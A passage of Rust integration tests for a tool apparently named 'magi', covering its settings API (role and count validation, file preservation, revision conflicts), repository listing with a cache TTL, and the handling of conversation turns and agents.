13012 "user.name=Test",
13013 "-c",
13014 "user.email=test@example.invalid",
13015 "commit",
13016 "-m",
13017 "fixture",
13018 ],
13019 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13020 vec![
13021 "symbolic-ref",
13022 "refs/remotes/origin/HEAD",
13023 "refs/remotes/origin/main",
13024 ],
13025 ] {
13026 crate::git::git(path, &args).await.unwrap();
13027 }
13028 }
13029
13030 #[tokio::test]
13031 async fn settings_context_handlers_validate_and_save_without_a_socket() {
13032 let (tmp, repo, machine) =
13033 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13034 let root = tmp.path().join("roots");
13035 let selected = root.join("host/owner/selected");
13036 settings_checkout(
13037 &selected,
13038 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13039 )
13040 .await;
13041 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13042 let before = std::fs::read(&machine).unwrap();
13043 let ui = Arc::new(
13044 Ui::new(
13045 Queue::at(tmp.path().join("queue")),
13046 Questions::at(tmp.path().join("questions")),
13047 Talks::at(tmp.path().join("talks")),
13048 tmp.path().join("runs"),
13049 tmp.path().to_path_buf(),
13050 repo.clone(),
13051 )
13052 .with_machine_config(Some(machine.clone())),
13053 );
13054 let query = || {
13055 Query(SettingsQuery {
13056 repo: Some(selected.clone()),
13057 })
13058 };
13059 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13060 assert!(v.error.is_none(), "{:?}", v.error);
13061 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13062 assert_eq!(conductor.source, "repo");
13063 assert_eq!(
13064 conductor.machine_value,
13065 Some(toml::Value::String("a".into()))
13066 );
13067 assert!(!conductor.editable);
13068 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13069 assert_eq!(
13070 judges.count.as_ref().unwrap().machine_value,
13071 Some(toml::Value::Integer(1))
13072 );
13073 assert!(
13074 !v.roles
13075 .iter()
13076 .find(|r| r.key == "reviewers")
13077 .unwrap()
13078 .editable
13079 );
13080 let unknown = || {
13081 Query(SettingsQuery {
13082 repo: Some(tmp.path().to_path_buf()),
13083 })
13084 };
13085 assert_eq!(
13086 settings_get(State(ui.clone()), unknown())
13087 .await
13088 .unwrap_err()
13089 .status,
13090 StatusCode::UNPROCESSABLE_ENTITY
13091 );
13092 let body = || {
13093 Ok(Json(RolesBody {
13094 revision: v.revision.clone(),
13095 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13096 counts: Default::default(),
13097 }))
13098 };
13099 assert_eq!(
13100 settings_put_roles(State(ui.clone()), unknown(), body())
13101 .await
13102 .unwrap_err()
13103 .status,
13104 StatusCode::UNPROCESSABLE_ENTITY
13105 );
13106 assert_eq!(std::fs::read(&machine).unwrap(), before);
13107 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13108 .await
13109 .unwrap();
13110 assert_eq!(
13111 saved.repo,
13112 selected.canonicalize().unwrap().display().to_string()
13113 );
13114 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13115 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13116 let fresh = root.join("host/owner/fresh");
13118 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13119 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13120 .await
13121 .unwrap();
13122 assert_eq!(fresh_view.repositories.len(), 3);
13123 }
13124
13125 #[tokio::test]
13126 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13127 let (tmp, repo, machine) = settings_dirs(
13128 "[roles]\nreviewers = [\"a\"]\n",
13129 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13130 );
13131 let root = tmp.path().join("roots");
13132 let selected = root.join("host/owner/selected");
13133 settings_checkout(
13134 &selected,
13135 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13136 )
13137 .await;
13138 let broken = root.join("host/owner/broken");
13139 settings_checkout(&broken, "[roles\nbroken").await;
13140 let machine_text = format!(
13141 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13142 toml::Value::String(root.display().to_string())
13143 );
13144 std::fs::write(&machine, &machine_text).unwrap();
13145 let originals: Vec<_> = [&repo, &selected, &broken]
13146 .iter()
13147 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13148 .collect();
13149 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13150 let default = f.get("/api/settings").await.json();
13151 assert_eq!(
13152 default["repo"],
13153 repo.canonicalize().unwrap().display().to_string()
13154 );
13155 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13156 let query = format!("?repo={}", selected.display());
13157 let res = f.get(&format!("/api/settings{query}")).await;
13158 assert_eq!(res.status, 200, "{}", res.body);
13159 let v = res.json();
13160 assert!(v["error"].is_null(), "{v}");
13161 assert_eq!(v["repositories"], default["repositories"]);
13162 let role = |key: &str| {
13163 v["roles"]
13164 .as_array()
13165 .unwrap()
13166 .iter()
13167 .find(|r| r["key"] == key)
13168 .unwrap()
13169 };
13170 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13171 assert_eq!(role("advisors")["source"], "repo");
13172 assert_eq!(role("advisors")["editable"], false);
13173 assert!(role("advisors")["machine_value"].is_null());
13174 assert_eq!(role("judges")["count"]["value"], 2);
13175 assert_eq!(role("judges")["count"]["machine_value"], 1);
13176 assert_eq!(role("judges")["count"]["source"], "repo");
13177 let source = role("judges")["count"]["source_path"].as_str().unwrap();
13178 assert!(
13179 source.contains("origin/main") && !source.contains("magi/config/"),
13180 "{source}"
13181 );
13182 assert_eq!(
13183 role("reviewers")["editable"],
13184 false,
13185 "default context outside roots must protect its declarations"
13186 );
13187 let body =
13188 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13189 let unknown = format!("?repo={}", tmp.path().display());
13190 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13191 assert_eq!(
13192 f.put(&format!("/api/settings/roles{unknown}"), &body)
13193 .await
13194 .status,
13195 422
13196 );
13197 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13198 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13199 .to_string();
13200 assert_eq!(
13201 f.put(&format!("/api/settings/roles{query}"), &refuse)
13202 .await
13203 .status,
13204 422
13205 );
13206 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13207 assert_eq!(saved.status, 200, "{}", saved.body);
13208 assert_eq!(saved.json()["repo"], v["repo"]);
13209 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13210 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13211 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13212 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13213 }
13214 let error = f
13215 .get(&format!("/api/settings?repo={}", broken.display()))
13216 .await;
13217 assert_eq!(error.status, 200);
13218 assert!(error.json()["error"]["message"].is_string());
13219 assert_eq!(error.json()["repositories"], default["repositories"]);
13220 }
13221
13222 #[tokio::test]
13223 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13224 let (_tmp, repo, machine) =
13225 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13226 let f = Fixture::with_repo_and_machine(repo, machine).await;
13227 let res = f.get("/api/settings").await;
13228 assert_eq!(res.status, 200, "{}", res.body);
13229 let v = res.json();
13230 assert!(v["error"].is_null(), "{v}");
13231 let role = |k: &str| {
13232 v["roles"]
13233 .as_array()
13234 .and_then(|r| r.iter().find(|x| x["key"] == k))
13235 .cloned()
13236 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13237 };
13238 assert_eq!(role("judges")["source"], "machine");
13239 assert_eq!(role("judges")["editable"], true);
13240 assert_eq!(role("implementers")["source"], "default");
13241 let adv = role("advisors");
13242 assert_eq!(adv["fallback"], "judges");
13243 assert!(
13244 adv["seats"]
13245 .as_array()
13246 .is_some_and(|s| s.iter().all(|x| x == "b")),
13247 "{adv}"
13248 );
13249 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13250 assert_eq!(v["agents"][0]["source"], "repo");
13251 }
13252
13253 #[tokio::test]
13254 async fn settings_get_reports_a_config_that_does_not_parse() {
13255 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13256 let f = Fixture::with_repo_and_machine(repo, machine).await;
13257 let res = f.get("/api/settings").await;
13258 assert_eq!(res.status, 200, "{}", res.body);
13259 let v = res.json();
13260 assert!(v["error"]["message"].is_string(), "{v}");
13261 assert!(
13262 v["error"]["path"]
13263 .as_str()
13264 .is_some_and(|p| p.ends_with("magi.toml")),
13265 "{v}"
13266 );
13267 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13268 }
13269
13270 #[tokio::test]
13271 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13272 let (_tmp, repo, machine) = settings_dirs(
13273 SETTINGS_AGENTS,
13274 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13275 );
13276 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13277 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13278 let rev = f.get("/api/settings").await.json()["revision"]
13279 .as_str()
13280 .expect("revision")
13281 .to_owned();
13282 let body = serde_json::json!({
13283 "revision": rev,
13284 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13285 })
13286 .to_string();
13287 let res = f.put("/api/settings/roles", &body).await;
13288 assert_eq!(res.status, 200, "{}", res.body);
13289 let text = std::fs::read_to_string(&machine).expect("machine");
13290 assert_eq!(
13291 text,
13292 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13293 );
13294 assert_eq!(
13295 std::fs::read(repo.join("magi.toml")).expect("read"),
13296 repo_before
13297 );
13298 let again = f.get("/api/settings").await.json();
13299 let judges = again["roles"]
13300 .as_array()
13301 .expect("roles")
13302 .iter()
13303 .find(|r| r["key"] == "judges")
13304 .expect("judges")
13305 .clone();
13306 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13307 let stale = f.put("/api/settings/roles", &body).await;
13309 assert_eq!(stale.status, 409, "{}", stale.body);
13310 }
13311
13312 #[tokio::test]
13313 async fn settings_counts_are_reported_and_saved() {
13314 let (_tmp, repo, machine) = settings_dirs(
13315 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13316 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13317 );
13318 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13319 let v = f.get("/api/settings").await.json();
13320 let count = |v: &serde_json::Value, k: &str| {
13321 v["roles"]
13322 .as_array()
13323 .and_then(|r| r.iter().find(|x| x["key"] == k))
13324 .map(|x| x["count"].clone())
13325 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13326 };
13327 let imp = count(&v, "implementers");
13328 assert_eq!(imp["value"], 2);
13329 assert_eq!(imp["source"], "machine");
13330 assert_eq!(imp["file_key"], "candidates");
13331 assert_eq!(imp["roster_len"], 2);
13332 assert_eq!(imp["backups"], 0);
13333 assert_eq!(count(&v, "judges")["source"], "default");
13334 assert_eq!(count(&v, "advisors")["min"], 0);
13335 assert_eq!(count(&v, "reviewers")["editable"], false);
13336 assert!(
13337 count(&v, "reviewers")["locked_reason"]
13338 .as_str()
13339 .is_some_and(|m| m.contains("graph.reviewers"))
13340 );
13341 assert!(count(&v, "fixer").is_null());
13342 let rev = v["revision"].as_str().expect("revision").to_owned();
13343 let body = serde_json::json!({
13344 "revision": rev,
13345 "roles": { "judges": ["b"] },
13346 "counts": { "implementers": 1, "advisors": 0 }
13347 })
13348 .to_string();
13349 let res = f.put("/api/settings/roles", &body).await;
13350 assert_eq!(res.status, 200, "{}", res.body);
13351 let text = std::fs::read_to_string(&machine).expect("machine");
13352 assert_eq!(
13353 text,
13354 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13355 );
13356 let after = f.get("/api/settings").await.json();
13357 assert_eq!(count(&after, "implementers")["value"], 1);
13358 assert_eq!(count(&after, "implementers")["backups"], 1);
13359 assert_eq!(count(&after, "advisors")["value"], 0);
13360 let before = std::fs::read_to_string(&machine).expect("machine");
13361 let rev = after["revision"].as_str().expect("revision").to_owned();
13362 for counts in [
13363 serde_json::json!({ "judges": 0 }),
13364 serde_json::json!({ "judges": "x" }),
13365 serde_json::json!({ "judges": 2.5 }),
13366 serde_json::json!({ "judges": -1 }),
13367 serde_json::json!({ "reviewers": 3 }),
13368 serde_json::json!({ "bogus": 3 }),
13369 ] {
13370 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13371 let res = f.put("/api/settings/roles", &body).await;
13372 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13373 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13374 }
13375 }
13376
13377 #[tokio::test]
13378 async fn settings_put_refuses_without_touching_the_file() {
13379 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13380 let (_tmp, repo, machine) = settings_dirs(
13381 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13382 Some(machine_text),
13383 );
13384 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13385 let rev = f.get("/api/settings").await.json()["revision"]
13386 .as_str()
13387 .expect("revision")
13388 .to_owned();
13389 for roles in [
13390 serde_json::json!({ "judges": ["nope"] }),
13391 serde_json::json!({ "reviewers": ["b"] }),
13392 serde_json::json!({ "bogus": ["a"] }),
13393 ] {
13394 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13395 let res = f.put("/api/settings/roles", &body).await;
13396 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13397 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13398 assert_eq!(
13399 std::fs::read_to_string(&machine).expect("machine"),
13400 machine_text
13401 );
13402 }
13403 }
13404
13405 #[tokio::test]
13406 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13407 let tmp = TempDir::new().expect("tempdir");
13408 let repo = tmp.path().join("repo");
13409 std::fs::create_dir_all(&repo).expect("repo dir");
13410 let root = tmp.path().join("root");
13411 make_checkout(&root, "github.com", "yukimemi", "magi");
13412 std::fs::write(
13413 repo.join("magi.toml"),
13414 format!(
13415 "[repos]\nroots = [{:?}]\n",
13416 root.to_string_lossy().into_owned()
13417 ),
13418 )
13419 .expect("write magi.toml");
13420
13421 let f = Fixture::with_repo(repo).await;
13422 let res = f.get("/api/repos").await;
13423 assert_eq!(res.status, 200, "{}", res.body);
13424 let list = res.json();
13425 let repos = list.as_array().expect("an array");
13426 assert_eq!(repos.len(), 1);
13427 assert_eq!(repos[0]["name"], "yukimemi/magi");
13428 assert!(
13429 repos[0]["path"]
13430 .as_str()
13431 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13432 "{list}"
13433 );
13434 }
13435
13436 #[tokio::test]
13437 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13438 let tmp = TempDir::new().expect("tempdir");
13439 let repo = tmp.path().join("repo");
13440 std::fs::create_dir_all(&repo).expect("repo dir");
13441 let root = tmp.path().join("root");
13442 make_checkout(&root, "github.com", "yukimemi", "magi");
13443 std::fs::write(
13444 repo.join("magi.toml"),
13445 format!(
13446 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13447 root.to_string_lossy().into_owned()
13448 ),
13449 )
13450 .expect("write magi.toml");
13451
13452 let f = Fixture::with_repo(repo).await;
13453 let first = f.get("/api/repos").await;
13454 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13455
13456 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13459 let second = f.get("/api/repos").await;
13460 assert_eq!(
13461 second.json().as_array().map(Vec::len),
13462 Some(1),
13463 "a fresh cache must not rescan inside the TTL"
13464 );
13465
13466 let refreshed = f.get("/api/repos?refresh=1").await;
13467 assert_eq!(
13468 refreshed.json().as_array().map(Vec::len),
13469 Some(2),
13470 "an explicit refresh must rescan even inside the TTL"
13471 );
13472 }
13473
13474 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13480
13481 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13485 let tmp = TempDir::new().expect("tempdir");
13486 let repo = tmp.path().join("repo");
13487 std::fs::create_dir_all(&repo).expect("repo dir");
13488 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13489 let f = Fixture::with_repo(repo.clone()).await;
13490 (tmp, repo, f)
13491 }
13492
13493 #[tokio::test]
13494 async fn posting_a_talk_with_remembered_choices_is_soft() {
13495 let (_tmp, _repo, f) = talk_fixture().await;
13496
13497 let good = f
13498 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13499 .await;
13500 assert_eq!(good.status, 201, "{}", good.body);
13501 assert_eq!(good.json()["persona"], "rei");
13502
13503 let stale = f
13505 .post(
13506 "/api/talks",
13507 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13508 )
13509 .await;
13510 assert_eq!(stale.status, 201, "{}", stale.body);
13511 let v = stale.json();
13512 assert_eq!(v["implementers"], 1);
13513 assert_ne!(v["persona"], "nobody");
13514 let typed = f
13515 .post(
13516 "/api/talks",
13517 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13518 )
13519 .await;
13520 assert_eq!(typed.status, 201, "{}", typed.body);
13521
13522 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13524 assert!(
13525 !strict.status.to_string().starts_with('2'),
13526 "{}",
13527 strict.body
13528 );
13529 }
13530
13531 #[tokio::test]
13532 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13533 let (_tmp, _repo, f) = talk_fixture().await;
13534
13535 let opened = f.post("/api/talks", None).await;
13538 assert_eq!(opened.status, 201, "{}", opened.body);
13539 let body = opened.json();
13540 assert_eq!(body["status"], "open");
13541 assert_eq!(
13542 body["turns"].as_array().unwrap().len(),
13543 0,
13544 "opening takes no agent turn: there is nothing yet to answer"
13545 );
13546
13547 let also_opened = f.post("/api/talks", Some("{}")).await;
13549 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13550
13551 let listed = f.get("/api/talks").await.json();
13552 assert_eq!(listed.as_array().unwrap().len(), 2);
13553 }
13554
13555 #[tokio::test]
13556 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13557 let tmp = TempDir::new().expect("tempdir");
13558 let repo = tmp.path().join("repo");
13559 std::fs::create_dir_all(&repo).expect("repo dir");
13560 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13561 std::fs::write(
13562 repo.join("magi.toml"),
13563 format!("{MOCK_AGENT_TOML}\n{second}"),
13564 )
13565 .expect("write magi.toml");
13566 let home = TempDir::new().expect("temp home");
13567 let talks = Talks::at(home.path().join("talks"));
13568 let ui = Arc::new(
13569 Ui::new(
13570 Queue::at(home.path().join("queue")),
13571 Questions::at(home.path().join("questions")),
13572 talks.clone(),
13573 home.path().join("runs"),
13574 home.path().to_path_buf(),
13575 repo.clone(),
13576 )
13577 .with_worktrees_root(home.path().join("wt")),
13578 );
13579 let cfg = config_for(&repo).await.expect("discover config");
13580 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13581 let id = talk.id.clone();
13582 let call = |agent: &str| {
13583 talk_agent(
13584 State(Arc::clone(&ui)),
13585 Path(id.clone()),
13586 Json(TalkAgent {
13587 agent: agent.to_owned(),
13588 }),
13589 )
13590 };
13591
13592 let unknown = call("nobody").await.expect_err("unknown agent");
13593 assert_eq!(
13594 unknown.status,
13595 StatusCode::BAD_REQUEST,
13596 "{}",
13597 unknown.message
13598 );
13599
13600 {
13601 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13604 let busy = call("second").await.expect_err("busy talk");
13605 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13606 assert!(
13607 busy.message.contains("a talk turn is running"),
13608 "{}",
13609 busy.message
13610 );
13611 drop(guard);
13612 }
13613 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13614
13615 let Json(view) = call("second").await.expect("switch");
13616 assert_eq!(view.talk.agent, "second");
13617 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13618 let saved = talks.get(&id).expect("reload");
13619 assert_eq!(saved.agent, "second");
13620 assert_eq!(saved.turns.len(), 1);
13621 assert!(!view.thinking);
13622 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13623 for agent in ["mock", "second"] {
13624 let Json(view) = call(agent).await.expect("immediate consecutive change");
13625 assert_eq!(view.talk.agent, agent);
13626 assert!(!view.thinking);
13627 assert!(!ui.is_thinking(&id));
13628 }
13629
13630 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13631 .await
13632 .expect("detail");
13633 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13634 assert_eq!(roster, ["mock", "second"]);
13635
13636 let mut closed = talks.get(&id).expect("reload");
13637 talk::close(&mut closed, &talks).expect("close");
13638 let refused = call("mock").await.expect_err("closed talk");
13639 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13640 assert!(
13641 refused.message.contains("takes no more turns"),
13642 "{}",
13643 refused.message
13644 );
13645 }
13646
13647 #[tokio::test]
13648 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13649 let tmp = TempDir::new().expect("tempdir");
13650 let repo = tmp.path().join("repo");
13651 std::fs::create_dir_all(&repo).expect("repo dir");
13652 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13653 let home = TempDir::new().expect("temp home");
13654 let talks = Talks::at(home.path().join("talks"));
13655 let ui = Arc::new(
13656 Ui::new(
13657 Queue::at(home.path().join("queue")),
13658 Questions::at(home.path().join("questions")),
13659 talks.clone(),
13660 home.path().join("runs"),
13661 home.path().to_path_buf(),
13662 repo.clone(),
13663 )
13664 .with_worktrees_root(home.path().join("wt")),
13665 );
13666 let cfg = config_for(&repo).await.expect("discover config");
13667 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13668 let id = talk.id.clone();
13669 let call = |n: u8| {
13670 talk_implementers(
13671 State(Arc::clone(&ui)),
13672 Path(id.clone()),
13673 Json(TalkImplementers { implementers: n }),
13674 )
13675 };
13676
13677 for bad in [0u8, 4] {
13678 let e = call(bad).await.expect_err("out of range");
13679 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13680 }
13681 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13682
13683 {
13684 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13687 let busy = call(2).await.expect_err("busy talk");
13688 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13689 assert!(
13690 busy.message.contains("a talk turn is running"),
13691 "{}",
13692 busy.message
13693 );
13694 drop(guard);
13695 }
13696
13697 let Json(view) = call(3).await.expect("switch");
13698 assert_eq!(view.talk.implementers, 3);
13699 assert!(talks.get(&id).expect("reload").implementers_dirty);
13700 assert!(!view.thinking);
13701 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13702 for n in [1, 2, 3] {
13703 let Json(view) = call(n).await.expect("immediate consecutive change");
13704 assert_eq!(view.talk.implementers, n);
13705 assert!(!view.thinking);
13706 assert!(!ui.is_thinking(&id));
13707 }
13708
13709 let mut closed = talks.get(&id).expect("reload");
13710 talk::close(&mut closed, &talks).expect("close");
13711 let e = call(2).await.expect_err("closed talk");
13712 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13713 assert!(e.message.contains("takes no more turns"), "{}", e.message);
13714 }
13715
13716 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13718 let tmp = TempDir::new().expect("tempdir");
13719 let repo = tmp.path().join("repo");
13720 std::fs::create_dir_all(&repo).expect("repo dir");
13721 std::fs::write(
13722 repo.join("magi.toml"),
13723 format!("{MOCK_AGENT_TOML}\n{extra}"),
13724 )
13725 .expect("write magi.toml");
13726 let home = TempDir::new().expect("temp home");
13727 let talks = Talks::at(home.path().join("talks"));
13728 let ui = Arc::new(
13729 Ui::new(
13730 Queue::at(home.path().join("queue")),
13731 Questions::at(home.path().join("questions")),
13732 talks.clone(),
13733 home.path().join("runs"),
13734 home.path().to_path_buf(),
13735 repo.clone(),
13736 )
13737 .with_worktrees_root(home.path().join("wt")),
13738 );
13739 let cfg = config_for(&repo).await.expect("discover config");
13740 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13741 (tmp, home, ui, talk.id, repo)
13742 }
13743
13744 #[tokio::test]
13745 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13746 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13747 let mut conversation = ui.talks.get(&id).unwrap();
13748 talk::record(
13749 &mut conversation,
13750 &ui.talks,
13751 "# Update on a task you filed\noperator words",
13752 vec![],
13753 )
13754 .unwrap();
13755 conversation.turns[0].sender = None;
13757 conversation.turns[0].messages.clear();
13758 ui.talks.put(&mut conversation).unwrap();
13759 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13760 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13761 talk::drain(&mut conversation, &ui.talks).unwrap();
13762 talk::record_reply(
13763 &mut conversation,
13764 &ui.talks,
13765 "about that report",
13766 vec![],
13767 Some(talk::ReplyTarget {
13768 turn: 1,
13769 message: 1,
13770 }),
13771 )
13772 .unwrap();
13773 conversation.turns[2].messages[0]
13774 .reply
13775 .as_mut()
13776 .unwrap()
13777 .sender = None;
13778 conversation.turns.push(talk::Turn {
13779 sender: Some(talk::Sender::Persona),
13780 who: talk::Who::Agent,
13781 body: "magi: actual persona words".into(),
13782 at: Timestamp::now(),
13783 attachments: vec![],
13784 usage: None,
13785 breaks: None,
13786 messages: vec![],
13787 posted_by: None,
13788 });
13789 ui.talks.put(&mut conversation).unwrap();
13790 let view = TalkView::with_config(
13791 ui.talks.get(&id).unwrap(),
13792 false,
13793 None,
13794 &ui.home,
13795 &ui.references,
13796 );
13797 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13798 assert_eq!(
13799 view.talk.turns[1].messages[0].sender,
13800 Some(talk::Sender::Operator)
13801 );
13802 assert_eq!(
13803 view.talk.turns[1].messages[1].sender,
13804 Some(talk::Sender::Magi)
13805 );
13806 assert_eq!(
13807 view.talk.turns[2].messages[0]
13808 .reply
13809 .as_ref()
13810 .unwrap()
13811 .sender,
13812 Some(talk::Sender::Magi)
13813 );
13814 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13815 assert_eq!(view.turn_messages_md[0].len(), 1);
13816 assert!(view.turn_messages_md[0][0].is_none());
13817 assert!(view.turn_messages_md[1][0].is_none());
13818 assert!(view.turn_messages_md[1][1].is_some());
13819 }
13820
13821 #[tokio::test]
13822 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13823 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13824 let mut conversation = ui.talks.get(&id).unwrap();
13825 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13826 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13827 talk::queue_notice(
13828 &mut conversation,
13829 &ui.talks,
13830 &body,
13831 "watch:123",
13832 &|_| false,
13833 None,
13834 display.clone(),
13835 )
13836 .unwrap();
13837 assert!(
13838 !talk::queue_notice(
13839 &mut conversation,
13840 &ui.talks,
13841 &body,
13842 "watch:123",
13843 &|_| false,
13844 None,
13845 display.clone()
13846 )
13847 .unwrap()
13848 );
13849 let saved = ui.talks.get(&id).unwrap();
13850 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13851 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13852 assert!(
13853 view.talk.turns[0].messages[0].display.is_none(),
13854 "operator copy stays literal"
13855 );
13856 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13857 assert!(view.turn_messages_md[0][0].is_none());
13858 let queued_md = view.pending_messages_md[0].clone();
13859 assert_eq!(
13860 queued_md,
13861 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13862 );
13863 talk::drain(&mut conversation, &ui.talks).unwrap();
13864 talk::record_reply(
13865 &mut conversation,
13866 &ui.talks,
13867 "Explain",
13868 vec![],
13869 Some(talk::ReplyTarget {
13870 turn: 1,
13871 message: 0,
13872 }),
13873 )
13874 .unwrap();
13875 let mut saved = ui.talks.get(&id).unwrap();
13876 assert_eq!(saved.turns[1].messages[0].body, body);
13877 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13878 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13879 assert!(!reply.excerpt.contains("automatic report"));
13880 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
13883 let view = TalkView::with_config(
13884 ui.talks.get(&id).unwrap(),
13885 false,
13886 None,
13887 &ui.home,
13888 &ui.references,
13889 );
13890 assert_eq!(view.turn_messages_md[1][0], queued_md);
